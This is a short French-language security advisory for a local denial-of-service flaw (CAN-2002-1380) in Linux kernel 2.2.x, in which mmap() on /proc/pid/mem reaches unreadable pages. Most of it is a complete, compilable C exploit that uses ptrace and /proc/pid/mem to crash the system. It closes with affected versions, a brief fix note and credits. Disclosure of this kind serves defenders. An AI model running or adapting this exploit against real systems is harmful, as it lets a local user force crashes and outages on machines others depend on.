Linux Kernel 2.2 mmap() Local Denial of Service Vulnerability
|
Date de Publication: 2003-03-28
Bugtraq ID: 6420
CVE : CAN-2002-1380
Titre: Linux Kernel 2.2 mmap() Local Denial of Service Vulnerability
Class: Design Error
Exploitable à distance : Non
Exploitable en local : Oui
* Description de la vulnérabilité *
Une vulnérabilité localement exploitable est présente dans kernel Linux, les versions 2.2.x sont vulnérables et le système crash et nécessite un reboot manuel .
* Description Technique - Exploit *
L'interface de /proc/pid/mem est conçue pour permettre à une application, dans certaines conditions, d'accéder à la mémoire d'une autre application d'une manière commode.
Grâce à cette vulnérabilité il est possible qu'un utilisateur emploie l'interface de mmap() pour demander l'accès aux pages de mémoire qui sont non-lisibles au processus tracé lui-même.
-------------------- Exploit Code -------------------
#define PAGES 10
#include <asm/page.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ptrace.h>
int main() {
int ad1,ad2,zer,mem,pid,i;
zer=open("/dev/zero",O_RDONLY);
ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
pid=getpid();
if (!fork()) {
char p[64]; ptrace(PTRACE_ATTACH,pid,0,0);
sleep(1);
sprintf(p,"/proc/%d/mem",pid);
mem=open(p,O_RDONLY);
ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
write(1,(char*)ad2,PAGES*PAGE_SIZE);
}
sleep(100);
return 0;
}
* Versions Vulnérables *
Tous les systèmes Linux fonctionnant avec une version kernel 2.2.x.
* Solution *
Utiliser les mises à jour.
* Crédits *
Cette faille a été découverte par Michal Zalewski et l'équipe de "RAZOR" (Décembre 2002).
|